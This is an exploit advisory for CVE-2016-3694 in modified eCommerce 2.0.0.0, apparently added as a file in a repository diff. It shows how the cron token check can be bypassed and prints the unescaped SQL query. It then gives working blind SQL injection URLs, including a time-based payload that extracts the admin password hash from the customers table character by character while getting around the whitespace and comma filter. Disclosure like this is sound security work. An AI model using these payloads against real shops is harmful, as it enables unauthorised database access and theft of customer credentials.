|
| 1 | +# Title: Blind Injection modified eCommerce 2.0.0.0 rev 9678 |
| 2 | +# Date: 16.04.2016 |
| 3 | +# Category: webapps |
| 4 | +# Vendor Homepage: http://www.modified-shop.org/download |
| 5 | +# Software Link: http://www.modified-shop.org/forum/index.php?action=downloads;sa=downfile&id=96 |
| 6 | +# Version: 2.0.0.0 rev 9678 |
| 7 | +# Tested on: Apache/2.4.7, PHP Version 5.5.9, Linux |
| 8 | +# Exploit Author: Felix Maduakor |
| 9 | +# Contact: Felix.Maduakor@rub.de |
| 10 | +# CVE: CVE-2016-3694 |
| 11 | + |
| 12 | +Product Description: |
| 13 | +modified eCommerce is an Open Source shopsoftware |
| 14 | + |
| 15 | +Vulnerability Details: |
| 16 | +Attackable are the GET-parameters 'orders_status' and 'customers_status' through 'easybillcsv.php': |
| 17 | + |
| 18 | + |
| 19 | +File: [shoproot]/api/easybill/easybillcsv.php |
| 20 | + |
| 21 | +[24] if (isset($_GET['token']) && $_GET['token'] == MODULE_EASYBILL_CSV_CRON_TOKEN) { |
| 22 | +[25-61] ... |
| 23 | +[62] } else { |
| 24 | +[63] die('Direct Access to this location is not allowed.'); |
| 25 | + |
| 26 | +As default option the easybill-module is not installed and the constant MODULE_EASYBILL_CSV_CRON_TOKEN is not set. As long as the easybill-module is not installed, it is possible to bypass the restriction: [Shoproot]/api/easybill/easybillcsv.php?token=MODULE_EASYBILL_CSV_CRON_TOKEN |
| 27 | + |
| 28 | + |
| 29 | +[35] if (count($_GET['orders_status']) > 0) { |
| 30 | +[36] $_GET['orders_status'] = preg_replace("'[\r\n\s]+'", '', $_GET['orders_status']); |
| 31 | +[37] $orders_status = explode(',', $_GET['orders_status']); |
| 32 | +[38] $module->from_orders_status = implode("', '", $orders_status); |
| 33 | +[39] } |
| 34 | + |
| 35 | + |
| 36 | +[43] if (isset($_GET['customers_status'])) { |
| 37 | +[44] $_GET['customers_status'] = preg_replace("'[\r\n\s]+'", '', $_GET['customers_status']); |
| 38 | +[45] $customers_status = explode(',', $_GET['customers_status']); |
| 39 | +[46] $module->from_customers_status = implode("', '", $customers_status); |
| 40 | +[47] } |
| 41 | + |
| 42 | +As you can see in lines 35-39 and 43-47 the GET-parameters 'orders_status' and 'customers_status' are not escaped, but formatted (removed whitespaces, replaced commas with "', '"). They will be set as local variables of the "$module"-object. |
| 43 | + |
| 44 | +File: [shoproot][admin-folder]/includes/modules/system/easybillcsv.php |
| 45 | + |
| 46 | +[63] $export_query = xtc_db_query("SELECT DISTINCT o.orders_id |
| 47 | +[64] FROM ".TABLE_ORDERS." o |
| 48 | +[65] JOIN ".TABLE_ORDERS_STATUS_HISTORY." osh |
| 49 | +[66] ON o.orders_id = osh.orders_id |
| 50 | +[67] WHERE (o.orders_status IN ('" . $this->from_orders_status . "') |
| 51 | +[68] OR osh.orders_status_id IN ('" . $this->from_orders_status . "')) |
| 52 | +[69] AND (o.last_modified >= '". date( "Y-m-d H:i:s", strtotime($this->from_order_date)) . "' |
| 53 | +[70] OR o.date_purchased >= '". date( "Y-m-d H:i:s", strtotime($this->from_order_date)) . "') |
| 54 | +[71] AND o.customers_status IN ('" . $this->from_customers_status . "') |
| 55 | +[72] ORDER BY o.orders_id"); |
| 56 | + |
| 57 | + |
| 58 | +The unescaped GET-parameters get placed in the query on line 67, 68 and 71. |
| 59 | +Through the ORDER BY statement (with the explicit table-references) it is not possible to use a union-based injection. |
| 60 | +The injection cannot include whitespaces or commas. |
| 61 | + |
| 62 | +POC [Proof of Concept]: |
| 63 | + |
| 64 | +http://127.0.0.1/shop/api/easybill/easybillcsv.php?token=MODULE_EASYBILL_CSV_CRON_TOKEN&orders_status=-111'))or-sleep(5)/*&customers_status=*/%23 |
| 65 | +Will result in following query and execute the sleep-function for 5 seconds: |
| 66 | + |
| 67 | +SELECT DISTINCT o.orders_id |
| 68 | + FROM ".TABLE_ORDERS." o |
| 69 | + JOIN ".TABLE_ORDERS_STATUS_HISTORY." osh |
| 70 | + ON o.orders_id = osh.orders_id |
| 71 | + WHERE (o.orders_status IN ('-111'))or-sleep(5)/* |
| 72 | + |
| 73 | + long comment |
| 74 | + |
| 75 | + */#comment |
| 76 | + ORDER BY o.orders_id |
| 77 | + |
| 78 | +There are multiple ways to bypass the whitespace/comma-filter. A possible way to check if the first character of the admin-hash is '$' would be: |
| 79 | + |
| 80 | + |
| 81 | +http://127.0.0.1/shop/api/easybill/easybillcsv.php?token=MODULE_EASYBILL_CSV_CRON_TOKEN&orders_status=-111'))or(Select(case(36)when(ascii(substring(`customers_password`FROM(1)FOR(1))))then-sleep(5)End)from`customers`where`customers_id`=1)/*&customers_status=*/%23 |
| 82 | + |
| 83 | + |
| 84 | + |
| 85 | + |
| 86 | +Timeline |
| 87 | +----- |
| 88 | +[16.04.2016] Reporting vulnerability to vendor |
| 89 | + |
| 90 | + |
| 91 | + |
0 commit comments